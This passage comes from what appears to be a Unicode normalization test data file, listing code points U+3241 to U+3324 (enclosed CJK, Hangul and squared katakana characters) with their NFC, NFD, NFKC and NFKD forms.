+{ source: [0x3241], NFC: [0x3241], NFD: [0x3241], NFKC: [0x0028, 0x4F11, 0x0029], NFKD: [0x0028, 0x4F11, 0x0029] },
+{ source: [0x3242], NFC: [0x3242], NFD: [0x3242], NFKC: [0x0028, 0x81EA, 0x0029], NFKD: [0x0028, 0x81EA, 0x0029] },
+{ source: [0x3243], NFC: [0x3243], NFD: [0x3243], NFKC: [0x0028, 0x81F3, 0x0029], NFKD: [0x0028, 0x81F3, 0x0029] },
+{ source: [0x3244], NFC: [0x3244], NFD: [0x3244], NFKC: [0x554F], NFKD: [0x554F] },
+{ source: [0x3245], NFC: [0x3245], NFD: [0x3245], NFKC: [0x5E7C], NFKD: [0x5E7C] },
+{ source: [0x3246], NFC: [0x3246], NFD: [0x3246], NFKC: [0x6587], NFKD: [0x6587] },
+{ source: [0x3247], NFC: [0x3247], NFD: [0x3247], NFKC: [0x7B8F], NFKD: [0x7B8F] },
+{ source: [0x3250], NFC: [0x3250], NFD: [0x3250], NFKC: [0x0050, 0x0054, 0x0045], NFKD: [0x0050, 0x0054, 0x0045] },
+{ source: [0x3251], NFC: [0x3251], NFD: [0x3251], NFKC: [0x0032, 0x0031], NFKD: [0x0032, 0x0031] },
+{ source: [0x3252], NFC: [0x3252], NFD: [0x3252], NFKC: [0x0032, 0x0032], NFKD: [0x0032, 0x0032] },
+{ source: [0x3253], NFC: [0x3253], NFD: [0x3253], NFKC: [0x0032, 0x0033], NFKD: [0x0032, 0x0033] },
+{ source: [0x3254], NFC: [0x3254], NFD: [0x3254], NFKC: [0x0032, 0x0034], NFKD: [0x0032, 0x0034] },
+{ source: [0x3255], NFC: [0x3255], NFD: [0x3255], NFKC: [0x0032, 0x0035], NFKD: [0x0032, 0x0035] },
+{ source: [0x3256], NFC: [0x3256], NFD: [0x3256], NFKC: [0x0032, 0x0036], NFKD: [0x0032, 0x0036] },
+{ source: [0x3257], NFC: [0x3257], NFD: [0x3257], NFKC: [0x0032, 0x0037], NFKD: [0x0032, 0x0037] },
+{ source: [0x3258], NFC: [0x3258], NFD: [0x3258], NFKC: [0x0032, 0x0038], NFKD: [0x0032, 0x0038] },
+{ source: [0x3259], NFC: [0x3259], NFD: [0x3259], NFKC: [0x0032, 0x0039], NFKD: [0x0032, 0x0039] },
+{ source: [0x325A], NFC: [0x325A], NFD: [0x325A], NFKC: [0x0033, 0x0030], NFKD: [0x0033, 0x0030] },
+{ source: [0x325B], NFC: [0x325B], NFD: [0x325B], NFKC: [0x0033, 0x0031], NFKD: [0x0033, 0x0031] },
+{ source: [0x325C], NFC: [0x325C], NFD: [0x325C], NFKC: [0x0033, 0x0032], NFKD: [0x0033, 0x0032] },
+{ source: [0x325D], NFC: [0x325D], NFD: [0x325D], NFKC: [0x0033, 0x0033], NFKD: [0x0033, 0x0033] },
+{ source: [0x325E], NFC: [0x325E], NFD: [0x325E], NFKC: [0x0033, 0x0034], NFKD: [0x0033, 0x0034] },
+{ source: [0x325F], NFC: [0x325F], NFD: [0x325F], NFKC: [0x0033, 0x0035], NFKD: [0x0033, 0x0035] },
+{ source: [0x3260], NFC: [0x3260], NFD: [0x3260], NFKC: [0x1100], NFKD: [0x1100] },
+{ source: [0x3261], NFC: [0x3261], NFD: [0x3261], NFKC: [0x1102], NFKD: [0x1102] },
+{ source: [0x3262], NFC: [0x3262], NFD: [0x3262], NFKC: [0x1103], NFKD: [0x1103] },
+{ source: [0x3263], NFC: [0x3263], NFD: [0x3263], NFKC: [0x1105], NFKD: [0x1105] },
+{ source: [0x3264], NFC: [0x3264], NFD: [0x3264], NFKC: [0x1106], NFKD: [0x1106] },
+{ source: [0x3265], NFC: [0x3265], NFD: [0x3265], NFKC: [0x1107], NFKD: [0x1107] },
+{ source: [0x3266], NFC: [0x3266], NFD: [0x3266], NFKC: [0x1109], NFKD: [0x1109] },
+{ source: [0x3267], NFC: [0x3267], NFD: [0x3267], NFKC: [0x110B], NFKD: [0x110B] },
+{ source: [0x3268], NFC: [0x3268], NFD: [0x3268], NFKC: [0x110C], NFKD: [0x110C] },
+{ source: [0x3269], NFC: [0x3269], NFD: [0x3269], NFKC: [0x110E], NFKD: [0x110E] },
+{ source: [0x326A], NFC: [0x326A], NFD: [0x326A], NFKC: [0x110F], NFKD: [0x110F] },
+{ source: [0x326B], NFC: [0x326B], NFD: [0x326B], NFKC: [0x1110], NFKD: [0x1110] },
+{ source: [0x326C], NFC: [0x326C], NFD: [0x326C], NFKC: [0x1111], NFKD: [0x1111] },
+{ source: [0x326D], NFC: [0x326D], NFD: [0x326D], NFKC: [0x1112], NFKD: [0x1112] },
+{ source: [0x326E], NFC: [0x326E], NFD: [0x326E], NFKC: [0xAC00], NFKD: [0x1100, 0x1161] },
+{ source: [0x326F], NFC: [0x326F], NFD: [0x326F], NFKC: [0xB098], NFKD: [0x1102, 0x1161] },
+{ source: [0x3270], NFC: [0x3270], NFD: [0x3270], NFKC: [0xB2E4], NFKD: [0x1103, 0x1161] },
+{ source: [0x3271], NFC: [0x3271], NFD: [0x3271], NFKC: [0xB77C], NFKD: [0x1105, 0x1161] },
+{ source: [0x3272], NFC: [0x3272], NFD: [0x3272], NFKC: [0xB9C8], NFKD: [0x1106, 0x1161] },
+{ source: [0x3273], NFC: [0x3273], NFD: [0x3273], NFKC: [0xBC14], NFKD: [0x1107, 0x1161] },
+{ source: [0x3274], NFC: [0x3274], NFD: [0x3274], NFKC: [0xC0AC], NFKD: [0x1109, 0x1161] },
+{ source: [0x3275], NFC: [0x3275], NFD: [0x3275], NFKC: [0xC544], NFKD: [0x110B, 0x1161] },
+{ source: [0x3276], NFC: [0x3276], NFD: [0x3276], NFKC: [0xC790], NFKD: [0x110C, 0x1161] },
+{ source: [0x3277], NFC: [0x3277], NFD: [0x3277], NFKC: [0xCC28], NFKD: [0x110E, 0x1161] },
+{ source: [0x3278], NFC: [0x3278], NFD: [0x3278], NFKC: [0xCE74], NFKD: [0x110F, 0x1161] },
+{ source: [0x3279], NFC: [0x3279], NFD: [0x3279], NFKC: [0xD0C0], NFKD: [0x1110, 0x1161] },
+{ source: [0x327A], NFC: [0x327A], NFD: [0x327A], NFKC: [0xD30C], NFKD: [0x1111, 0x1161] },
+{ source: [0x327B], NFC: [0x327B], NFD: [0x327B], NFKC: [0xD558], NFKD: [0x1112, 0x1161] },
+{ source: [0x327C], NFC: [0x327C], NFD: [0x327C], NFKC: [0xCC38, 0xACE0], NFKD: [0x110E, 0x1161, 0x11B7, 0x1100, 0x1169] },
+{ source: [0x327D], NFC: [0x327D], NFD: [0x327D], NFKC: [0xC8FC, 0xC758], NFKD: [0x110C, 0x116E, 0x110B, 0x1174] },
+{ source: [0x327E], NFC: [0x327E], NFD: [0x327E], NFKC: [0xC6B0], NFKD: [0x110B, 0x116E] },
+{ source: [0x3280], NFC: [0x3280], NFD: [0x3280], NFKC: [0x4E00], NFKD: [0x4E00] },
+{ source: [0x3281], NFC: [0x3281], NFD: [0x3281], NFKC: [0x4E8C], NFKD: [0x4E8C] },
+{ source: [0x3282], NFC: [0x3282], NFD: [0x3282], NFKC: [0x4E09], NFKD: [0x4E09] },
+{ source: [0x3283], NFC: [0x3283], NFD: [0x3283], NFKC: [0x56DB], NFKD: [0x56DB] },
+{ source: [0x3284], NFC: [0x3284], NFD: [0x3284], NFKC: [0x4E94], NFKD: [0x4E94] },
+{ source: [0x3285], NFC: [0x3285], NFD: [0x3285], NFKC: [0x516D], NFKD: [0x516D] },
+{ source: [0x3286], NFC: [0x3286], NFD: [0x3286], NFKC: [0x4E03], NFKD: [0x4E03] },
+{ source: [0x3287], NFC: [0x3287], NFD: [0x3287], NFKC: [0x516B], NFKD: [0x516B] },
+{ source: [0x3288], NFC: [0x3288], NFD: [0x3288], NFKC: [0x4E5D], NFKD: [0x4E5D] },
+{ source: [0x3289], NFC: [0x3289], NFD: [0x3289], NFKC: [0x5341], NFKD: [0x5341] },
+{ source: [0x328A], NFC: [0x328A], NFD: [0x328A], NFKC: [0x6708], NFKD: [0x6708] },
+{ source: [0x328B], NFC: [0x328B], NFD: [0x328B], NFKC: [0x706B], NFKD: [0x706B] },
+{ source: [0x328C], NFC: [0x328C], NFD: [0x328C], NFKC: [0x6C34], NFKD: [0x6C34] },
+{ source: [0x328D], NFC: [0x328D], NFD: [0x328D], NFKC: [0x6728], NFKD: [0x6728] },
+{ source: [0x328E], NFC: [0x328E], NFD: [0x328E], NFKC: [0x91D1], NFKD: [0x91D1] },
+{ source: [0x328F], NFC: [0x328F], NFD: [0x328F], NFKC: [0x571F], NFKD: [0x571F] },
+{ source: [0x3290], NFC: [0x3290], NFD: [0x3290], NFKC: [0x65E5], NFKD: [0x65E5] },
+{ source: [0x3291], NFC: [0x3291], NFD: [0x3291], NFKC: [0x682A], NFKD: [0x682A] },
+{ source: [0x3292], NFC: [0x3292], NFD: [0x3292], NFKC: [0x6709], NFKD: [0x6709] },
+{ source: [0x3293], NFC: [0x3293], NFD: [0x3293], NFKC: [0x793E], NFKD: [0x793E] },
+{ source: [0x3294], NFC: [0x3294], NFD: [0x3294], NFKC: [0x540D], NFKD: [0x540D] },
+{ source: [0x3295], NFC: [0x3295], NFD: [0x3295], NFKC: [0x7279], NFKD: [0x7279] },
+{ source: [0x3296], NFC: [0x3296], NFD: [0x3296], NFKC: [0x8CA1], NFKD: [0x8CA1] },
+{ source: [0x3297], NFC: [0x3297], NFD: [0x3297], NFKC: [0x795D], NFKD: [0x795D] },
+{ source: [0x3298], NFC: [0x3298], NFD: [0x3298], NFKC: [0x52B4], NFKD: [0x52B4] },
+{ source: [0x3299], NFC: [0x3299], NFD: [0x3299], NFKC: [0x79D8], NFKD: [0x79D8] },
+{ source: [0x329A], NFC: [0x329A], NFD: [0x329A], NFKC: [0x7537], NFKD: [0x7537] },
+{ source: [0x329B], NFC: [0x329B], NFD: [0x329B], NFKC: [0x5973], NFKD: [0x5973] },
+{ source: [0x329C], NFC: [0x329C], NFD: [0x329C], NFKC: [0x9069], NFKD: [0x9069] },
+{ source: [0x329D], NFC: [0x329D], NFD: [0x329D], NFKC: [0x512A], NFKD: [0x512A] },
+{ source: [0x329E], NFC: [0x329E], NFD: [0x329E], NFKC: [0x5370], NFKD: [0x5370] },
+{ source: [0x329F], NFC: [0x329F], NFD: [0x329F], NFKC: [0x6CE8], NFKD: [0x6CE8] },
+{ source: [0x32A0], NFC: [0x32A0], NFD: [0x32A0], NFKC: [0x9805], NFKD: [0x9805] },
+{ source: [0x32A1], NFC: [0x32A1], NFD: [0x32A1], NFKC: [0x4F11], NFKD: [0x4F11] },
+{ source: [0x32A2], NFC: [0x32A2], NFD: [0x32A2], NFKC: [0x5199], NFKD: [0x5199] },
+{ source: [0x32A3], NFC: [0x32A3], NFD: [0x32A3], NFKC: [0x6B63], NFKD: [0x6B63] },
+{ source: [0x32A4], NFC: [0x32A4], NFD: [0x32A4], NFKC: [0x4E0A], NFKD: [0x4E0A] },
+{ source: [0x32A5], NFC: [0x32A5], NFD: [0x32A5], NFKC: [0x4E2D], NFKD: [0x4E2D] },
+{ source: [0x32A6], NFC: [0x32A6], NFD: [0x32A6], NFKC: [0x4E0B], NFKD: [0x4E0B] },
+{ source: [0x32A7], NFC: [0x32A7], NFD: [0x32A7], NFKC: [0x5DE6], NFKD: [0x5DE6] },
+{ source: [0x32A8], NFC: [0x32A8], NFD: [0x32A8], NFKC: [0x53F3], NFKD: [0x53F3] },
+{ source: [0x32A9], NFC: [0x32A9], NFD: [0x32A9], NFKC: [0x533B], NFKD: [0x533B] },
+{ source: [0x32AA], NFC: [0x32AA], NFD: [0x32AA], NFKC: [0x5B97], NFKD: [0x5B97] },
+{ source: [0x32AB], NFC: [0x32AB], NFD: [0x32AB], NFKC: [0x5B66], NFKD: [0x5B66] },
+{ source: [0x32AC], NFC: [0x32AC], NFD: [0x32AC], NFKC: [0x76E3], NFKD: [0x76E3] },
+{ source: [0x32AD], NFC: [0x32AD], NFD: [0x32AD], NFKC: [0x4F01], NFKD: [0x4F01] },
+{ source: [0x32AE], NFC: [0x32AE], NFD: [0x32AE], NFKC: [0x8CC7], NFKD: [0x8CC7] },
+{ source: [0x32AF], NFC: [0x32AF], NFD: [0x32AF], NFKC: [0x5354], NFKD: [0x5354] },
+{ source: [0x32B0], NFC: [0x32B0], NFD: [0x32B0], NFKC: [0x591C], NFKD: [0x591C] },
+{ source: [0x32B1], NFC: [0x32B1], NFD: [0x32B1], NFKC: [0x0033, 0x0036], NFKD: [0x0033, 0x0036] },
+{ source: [0x32B2], NFC: [0x32B2], NFD: [0x32B2], NFKC: [0x0033, 0x0037], NFKD: [0x0033, 0x0037] },
+{ source: [0x32B3], NFC: [0x32B3], NFD: [0x32B3], NFKC: [0x0033, 0x0038], NFKD: [0x0033, 0x0038] },
+{ source: [0x32B4], NFC: [0x32B4], NFD: [0x32B4], NFKC: [0x0033, 0x0039], NFKD: [0x0033, 0x0039] },
+{ source: [0x32B5], NFC: [0x32B5], NFD: [0x32B5], NFKC: [0x0034, 0x0030], NFKD: [0x0034, 0x0030] },
+{ source: [0x32B6], NFC: [0x32B6], NFD: [0x32B6], NFKC: [0x0034, 0x0031], NFKD: [0x0034, 0x0031] },
+{ source: [0x32B7], NFC: [0x32B7], NFD: [0x32B7], NFKC: [0x0034, 0x0032], NFKD: [0x0034, 0x0032] },
+{ source: [0x32B8], NFC: [0x32B8], NFD: [0x32B8], NFKC: [0x0034, 0x0033], NFKD: [0x0034, 0x0033] },
+{ source: [0x32B9], NFC: [0x32B9], NFD: [0x32B9], NFKC: [0x0034, 0x0034], NFKD: [0x0034, 0x0034] },
+{ source: [0x32BA], NFC: [0x32BA], NFD: [0x32BA], NFKC: [0x0034, 0x0035], NFKD: [0x0034, 0x0035] },
+{ source: [0x32BB], NFC: [0x32BB], NFD: [0x32BB], NFKC: [0x0034, 0x0036], NFKD: [0x0034, 0x0036] },
+{ source: [0x32BC], NFC: [0x32BC], NFD: [0x32BC], NFKC: [0x0034, 0x0037], NFKD: [0x0034, 0x0037] },
+{ source: [0x32BD], NFC: [0x32BD], NFD: [0x32BD], NFKC: [0x0034, 0x0038], NFKD: [0x0034, 0x0038] },
+{ source: [0x32BE], NFC: [0x32BE], NFD: [0x32BE], NFKC: [0x0034, 0x0039], NFKD: [0x0034, 0x0039] },
+{ source: [0x32BF], NFC: [0x32BF], NFD: [0x32BF], NFKC: [0x0035, 0x0030], NFKD: [0x0035, 0x0030] },
+{ source: [0x32C0], NFC: [0x32C0], NFD: [0x32C0], NFKC: [0x0031, 0x6708], NFKD: [0x0031, 0x6708] },
+{ source: [0x32C1], NFC: [0x32C1], NFD: [0x32C1], NFKC: [0x0032, 0x6708], NFKD: [0x0032, 0x6708] },
+{ source: [0x32C2], NFC: [0x32C2], NFD: [0x32C2], NFKC: [0x0033, 0x6708], NFKD: [0x0033, 0x6708] },
+{ source: [0x32C3], NFC: [0x32C3], NFD: [0x32C3], NFKC: [0x0034, 0x6708], NFKD: [0x0034, 0x6708] },
+{ source: [0x32C4], NFC: [0x32C4], NFD: [0x32C4], NFKC: [0x0035, 0x6708], NFKD: [0x0035, 0x6708] },
+{ source: [0x32C5], NFC: [0x32C5], NFD: [0x32C5], NFKC: [0x0036, 0x6708], NFKD: [0x0036, 0x6708] },
+{ source: [0x32C6], NFC: [0x32C6], NFD: [0x32C6], NFKC: [0x0037, 0x6708], NFKD: [0x0037, 0x6708] },
+{ source: [0x32C7], NFC: [0x32C7], NFD: [0x32C7], NFKC: [0x0038, 0x6708], NFKD: [0x0038, 0x6708] },
+{ source: [0x32C8], NFC: [0x32C8], NFD: [0x32C8], NFKC: [0x0039, 0x6708], NFKD: [0x0039, 0x6708] },
+{ source: [0x32C9], NFC: [0x32C9], NFD: [0x32C9], NFKC: [0x0031, 0x0030, 0x6708], NFKD: [0x0031, 0x0030, 0x6708] },
+{ source: [0x32CA], NFC: [0x32CA], NFD: [0x32CA], NFKC: [0x0031, 0x0031, 0x6708], NFKD: [0x0031, 0x0031, 0x6708] },
+{ source: [0x32CB], NFC: [0x32CB], NFD: [0x32CB], NFKC: [0x0031, 0x0032, 0x6708], NFKD: [0x0031, 0x0032, 0x6708] },
+{ source: [0x32CC], NFC: [0x32CC], NFD: [0x32CC], NFKC: [0x0048, 0x0067], NFKD: [0x0048, 0x0067] },
+{ source: [0x32CD], NFC: [0x32CD], NFD: [0x32CD], NFKC: [0x0065, 0x0072, 0x0067], NFKD: [0x0065, 0x0072, 0x0067] },
+{ source: [0x32CE], NFC: [0x32CE], NFD: [0x32CE], NFKC: [0x0065, 0x0056], NFKD: [0x0065, 0x0056] },
+{ source: [0x32CF], NFC: [0x32CF], NFD: [0x32CF], NFKC: [0x004C, 0x0054, 0x0044], NFKD: [0x004C, 0x0054, 0x0044] },
+{ source: [0x32D0], NFC: [0x32D0], NFD: [0x32D0], NFKC: [0x30A2], NFKD: [0x30A2] },
+{ source: [0x32D1], NFC: [0x32D1], NFD: [0x32D1], NFKC: [0x30A4], NFKD: [0x30A4] },
+{ source: [0x32D2], NFC: [0x32D2], NFD: [0x32D2], NFKC: [0x30A6], NFKD: [0x30A6] },
+{ source: [0x32D3], NFC: [0x32D3], NFD: [0x32D3], NFKC: [0x30A8], NFKD: [0x30A8] },
+{ source: [0x32D4], NFC: [0x32D4], NFD: [0x32D4], NFKC: [0x30AA], NFKD: [0x30AA] },
+{ source: [0x32D5], NFC: [0x32D5], NFD: [0x32D5], NFKC: [0x30AB], NFKD: [0x30AB] },
+{ source: [0x32D6], NFC: [0x32D6], NFD: [0x32D6], NFKC: [0x30AD], NFKD: [0x30AD] },
+{ source: [0x32D7], NFC: [0x32D7], NFD: [0x32D7], NFKC: [0x30AF], NFKD: [0x30AF] },
+{ source: [0x32D8], NFC: [0x32D8], NFD: [0x32D8], NFKC: [0x30B1], NFKD: [0x30B1] },
+{ source: [0x32D9], NFC: [0x32D9], NFD: [0x32D9], NFKC: [0x30B3], NFKD: [0x30B3] },
+{ source: [0x32DA], NFC: [0x32DA], NFD: [0x32DA], NFKC: [0x30B5], NFKD: [0x30B5] },
+{ source: [0x32DB], NFC: [0x32DB], NFD: [0x32DB], NFKC: [0x30B7], NFKD: [0x30B7] },
+{ source: [0x32DC], NFC: [0x32DC], NFD: [0x32DC], NFKC: [0x30B9], NFKD: [0x30B9] },
+{ source: [0x32DD], NFC: [0x32DD], NFD: [0x32DD], NFKC: [0x30BB], NFKD: [0x30BB] },
+{ source: [0x32DE], NFC: [0x32DE], NFD: [0x32DE], NFKC: [0x30BD], NFKD: [0x30BD] },
+{ source: [0x32DF], NFC: [0x32DF], NFD: [0x32DF], NFKC: [0x30BF], NFKD: [0x30BF] },
+{ source: [0x32E0], NFC: [0x32E0], NFD: [0x32E0], NFKC: [0x30C1], NFKD: [0x30C1] },
+{ source: [0x32E1], NFC: [0x32E1], NFD: [0x32E1], NFKC: [0x30C4], NFKD: [0x30C4] },
+{ source: [0x32E2], NFC: [0x32E2], NFD: [0x32E2], NFKC: [0x30C6], NFKD: [0x30C6] },
+{ source: [0x32E3], NFC: [0x32E3], NFD: [0x32E3], NFKC: [0x30C8], NFKD: [0x30C8] },
+{ source: [0x32E4], NFC: [0x32E4], NFD: [0x32E4], NFKC: [0x30CA], NFKD: [0x30CA] },
+{ source: [0x32E5], NFC: [0x32E5], NFD: [0x32E5], NFKC: [0x30CB], NFKD: [0x30CB] },
+{ source: [0x32E6], NFC: [0x32E6], NFD: [0x32E6], NFKC: [0x30CC], NFKD: [0x30CC] },
+{ source: [0x32E7], NFC: [0x32E7], NFD: [0x32E7], NFKC: [0x30CD], NFKD: [0x30CD] },
+{ source: [0x32E8], NFC: [0x32E8], NFD: [0x32E8], NFKC: [0x30CE], NFKD: [0x30CE] },
+{ source: [0x32E9], NFC: [0x32E9], NFD: [0x32E9], NFKC: [0x30CF], NFKD: [0x30CF] },
+{ source: [0x32EA], NFC: [0x32EA], NFD: [0x32EA], NFKC: [0x30D2], NFKD: [0x30D2] },
+{ source: [0x32EB], NFC: [0x32EB], NFD: [0x32EB], NFKC: [0x30D5], NFKD: [0x30D5] },
+{ source: [0x32EC], NFC: [0x32EC], NFD: [0x32EC], NFKC: [0x30D8], NFKD: [0x30D8] },
+{ source: [0x32ED], NFC: [0x32ED], NFD: [0x32ED], NFKC: [0x30DB], NFKD: [0x30DB] },
+{ source: [0x32EE], NFC: [0x32EE], NFD: [0x32EE], NFKC: [0x30DE], NFKD: [0x30DE] },
+{ source: [0x32EF], NFC: [0x32EF], NFD: [0x32EF], NFKC: [0x30DF], NFKD: [0x30DF] },
+{ source: [0x32F0], NFC: [0x32F0], NFD: [0x32F0], NFKC: [0x30E0], NFKD: [0x30E0] },
+{ source: [0x32F1], NFC: [0x32F1], NFD: [0x32F1], NFKC: [0x30E1], NFKD: [0x30E1] },
+{ source: [0x32F2], NFC: [0x32F2], NFD: [0x32F2], NFKC: [0x30E2], NFKD: [0x30E2] },
+{ source: [0x32F3], NFC: [0x32F3], NFD: [0x32F3], NFKC: [0x30E4], NFKD: [0x30E4] },
+{ source: [0x32F4], NFC: [0x32F4], NFD: [0x32F4], NFKC: [0x30E6], NFKD: [0x30E6] },
+{ source: [0x32F5], NFC: [0x32F5], NFD: [0x32F5], NFKC: [0x30E8], NFKD: [0x30E8] },
+{ source: [0x32F6], NFC: [0x32F6], NFD: [0x32F6], NFKC: [0x30E9], NFKD: [0x30E9] },
+{ source: [0x32F7], NFC: [0x32F7], NFD: [0x32F7], NFKC: [0x30EA], NFKD: [0x30EA] },
+{ source: [0x32F8], NFC: [0x32F8], NFD: [0x32F8], NFKC: [0x30EB], NFKD: [0x30EB] },
+{ source: [0x32F9], NFC: [0x32F9], NFD: [0x32F9], NFKC: [0x30EC], NFKD: [0x30EC] },
+{ source: [0x32FA], NFC: [0x32FA], NFD: [0x32FA], NFKC: [0x30ED], NFKD: [0x30ED] },
+{ source: [0x32FB], NFC: [0x32FB], NFD: [0x32FB], NFKC: [0x30EF], NFKD: [0x30EF] },
+{ source: [0x32FC], NFC: [0x32FC], NFD: [0x32FC], NFKC: [0x30F0], NFKD: [0x30F0] },
+{ source: [0x32FD], NFC: [0x32FD], NFD: [0x32FD], NFKC: [0x30F1], NFKD: [0x30F1] },
+{ source: [0x32FE], NFC: [0x32FE], NFD: [0x32FE], NFKC: [0x30F2], NFKD: [0x30F2] },
+{ source: [0x32FF], NFC: [0x32FF], NFD: [0x32FF], NFKC: [0x4EE4, 0x548C], NFKD: [0x4EE4, 0x548C] },
+{ source: [0x3300], NFC: [0x3300], NFD: [0x3300], NFKC: [0x30A2, 0x30D1, 0x30FC, 0x30C8], NFKD: [0x30A2, 0x30CF, 0x309A, 0x30FC, 0x30C8] },
+{ source: [0x3301], NFC: [0x3301], NFD: [0x3301], NFKC: [0x30A2, 0x30EB, 0x30D5, 0x30A1], NFKD: [0x30A2, 0x30EB, 0x30D5, 0x30A1] },
+{ source: [0x3302], NFC: [0x3302], NFD: [0x3302], NFKC: [0x30A2, 0x30F3, 0x30DA, 0x30A2], NFKD: [0x30A2, 0x30F3, 0x30D8, 0x309A, 0x30A2] },
+{ source: [0x3303], NFC: [0x3303], NFD: [0x3303], NFKC: [0x30A2, 0x30FC, 0x30EB], NFKD: [0x30A2, 0x30FC, 0x30EB] },
+{ source: [0x3304], NFC: [0x3304], NFD: [0x3304], NFKC: [0x30A4, 0x30CB, 0x30F3, 0x30B0], NFKD: [0x30A4, 0x30CB, 0x30F3, 0x30AF, 0x3099] },
+{ source: [0x3305], NFC: [0x3305], NFD: [0x3305], NFKC: [0x30A4, 0x30F3, 0x30C1], NFKD: [0x30A4, 0x30F3, 0x30C1] },
+{ source: [0x3306], NFC: [0x3306], NFD: [0x3306], NFKC: [0x30A6, 0x30A9, 0x30F3], NFKD: [0x30A6, 0x30A9, 0x30F3] },
+{ source: [0x3307], NFC: [0x3307], NFD: [0x3307], NFKC: [0x30A8, 0x30B9, 0x30AF, 0x30FC, 0x30C9], NFKD: [0x30A8, 0x30B9, 0x30AF, 0x30FC, 0x30C8, 0x3099] },
+{ source: [0x3308], NFC: [0x3308], NFD: [0x3308], NFKC: [0x30A8, 0x30FC, 0x30AB, 0x30FC], NFKD: [0x30A8, 0x30FC, 0x30AB, 0x30FC] },
+{ source: [0x3309], NFC: [0x3309], NFD: [0x3309], NFKC: [0x30AA, 0x30F3, 0x30B9], NFKD: [0x30AA, 0x30F3, 0x30B9] },
+{ source: [0x330A], NFC: [0x330A], NFD: [0x330A], NFKC: [0x30AA, 0x30FC, 0x30E0], NFKD: [0x30AA, 0x30FC, 0x30E0] },
+{ source: [0x330B], NFC: [0x330B], NFD: [0x330B], NFKC: [0x30AB, 0x30A4, 0x30EA], NFKD: [0x30AB, 0x30A4, 0x30EA] },
+{ source: [0x330C], NFC: [0x330C], NFD: [0x330C], NFKC: [0x30AB, 0x30E9, 0x30C3, 0x30C8], NFKD: [0x30AB, 0x30E9, 0x30C3, 0x30C8] },
+{ source: [0x330D], NFC: [0x330D], NFD: [0x330D], NFKC: [0x30AB, 0x30ED, 0x30EA, 0x30FC], NFKD: [0x30AB, 0x30ED, 0x30EA, 0x30FC] },
+{ source: [0x330E], NFC: [0x330E], NFD: [0x330E], NFKC: [0x30AC, 0x30ED, 0x30F3], NFKD: [0x30AB, 0x3099, 0x30ED, 0x30F3] },
+{ source: [0x330F], NFC: [0x330F], NFD: [0x330F], NFKC: [0x30AC, 0x30F3, 0x30DE], NFKD: [0x30AB, 0x3099, 0x30F3, 0x30DE] },
+{ source: [0x3310], NFC: [0x3310], NFD: [0x3310], NFKC: [0x30AE, 0x30AC], NFKD: [0x30AD, 0x3099, 0x30AB, 0x3099] },
+{ source: [0x3311], NFC: [0x3311], NFD: [0x3311], NFKC: [0x30AE, 0x30CB, 0x30FC], NFKD: [0x30AD, 0x3099, 0x30CB, 0x30FC] },
+{ source: [0x3312], NFC: [0x3312], NFD: [0x3312], NFKC: [0x30AD, 0x30E5, 0x30EA, 0x30FC], NFKD: [0x30AD, 0x30E5, 0x30EA, 0x30FC] },
+{ source: [0x3313], NFC: [0x3313], NFD: [0x3313], NFKC: [0x30AE, 0x30EB, 0x30C0, 0x30FC], NFKD: [0x30AD, 0x3099, 0x30EB, 0x30BF, 0x3099, 0x30FC] },
+{ source: [0x3314], NFC: [0x3314], NFD: [0x3314], NFKC: [0x30AD, 0x30ED], NFKD: [0x30AD, 0x30ED] },
+{ source: [0x3315], NFC: [0x3315], NFD: [0x3315], NFKC: [0x30AD, 0x30ED, 0x30B0, 0x30E9, 0x30E0], NFKD: [0x30AD, 0x30ED, 0x30AF, 0x3099, 0x30E9, 0x30E0] },
+{ source: [0x3316], NFC: [0x3316], NFD: [0x3316], NFKC: [0x30AD, 0x30ED, 0x30E1, 0x30FC, 0x30C8, 0x30EB], NFKD: [0x30AD, 0x30ED, 0x30E1, 0x30FC, 0x30C8, 0x30EB] },
+{ source: [0x3317], NFC: [0x3317], NFD: [0x3317], NFKC: [0x30AD, 0x30ED, 0x30EF, 0x30C3, 0x30C8], NFKD: [0x30AD, 0x30ED, 0x30EF, 0x30C3, 0x30C8] },
+{ source: [0x3318], NFC: [0x3318], NFD: [0x3318], NFKC: [0x30B0, 0x30E9, 0x30E0], NFKD: [0x30AF, 0x3099, 0x30E9, 0x30E0] },
+{ source: [0x3319], NFC: [0x3319], NFD: [0x3319], NFKC: [0x30B0, 0x30E9, 0x30E0, 0x30C8, 0x30F3], NFKD: [0x30AF, 0x3099, 0x30E9, 0x30E0, 0x30C8, 0x30F3] },
+{ source: [0x331A], NFC: [0x331A], NFD: [0x331A], NFKC: [0x30AF, 0x30EB, 0x30BC, 0x30A4, 0x30ED], NFKD: [0x30AF, 0x30EB, 0x30BB, 0x3099, 0x30A4, 0x30ED] },
+{ source: [0x331B], NFC: [0x331B], NFD: [0x331B], NFKC: [0x30AF, 0x30ED, 0x30FC, 0x30CD], NFKD: [0x30AF, 0x30ED, 0x30FC, 0x30CD] },
+{ source: [0x331C], NFC: [0x331C], NFD: [0x331C], NFKC: [0x30B1, 0x30FC, 0x30B9], NFKD: [0x30B1, 0x30FC, 0x30B9] },
+{ source: [0x331D], NFC: [0x331D], NFD: [0x331D], NFKC: [0x30B3, 0x30EB, 0x30CA], NFKD: [0x30B3, 0x30EB, 0x30CA] },
+{ source: [0x331E], NFC: [0x331E], NFD: [0x331E], NFKC: [0x30B3, 0x30FC, 0x30DD], NFKD: [0x30B3, 0x30FC, 0x30DB, 0x309A] },
+{ source: [0x331F], NFC: [0x331F], NFD: [0x331F], NFKC: [0x30B5, 0x30A4, 0x30AF, 0x30EB], NFKD: [0x30B5, 0x30A4, 0x30AF, 0x30EB] },
+{ source: [0x3320], NFC: [0x3320], NFD: [0x3320], NFKC: [0x30B5, 0x30F3, 0x30C1, 0x30FC, 0x30E0], NFKD: [0x30B5, 0x30F3, 0x30C1, 0x30FC, 0x30E0] },
+{ source: [0x3321], NFC: [0x3321], NFD: [0x3321], NFKC: [0x30B7, 0x30EA, 0x30F3, 0x30B0], NFKD: [0x30B7, 0x30EA, 0x30F3, 0x30AF, 0x3099] },
+{ source: [0x3322], NFC: [0x3322], NFD: [0x3322], NFKC: [0x30BB, 0x30F3, 0x30C1], NFKD: [0x30BB, 0x30F3, 0x30C1] },
+{ source: [0x3323], NFC: [0x3323], NFD: [0x3323], NFKC: [0x30BB, 0x30F3, 0x30C8], NFKD: [0x30BB, 0x30F3, 0x30C8] },
+{ source: [0x3324], NFC: [0x3324], NFD: [0x3324], NFKC: [0x30C0, 0x30FC, 0x30B9], NFKD: [0x30BF, 0x3099, 0x30FC, 0x30B9] },
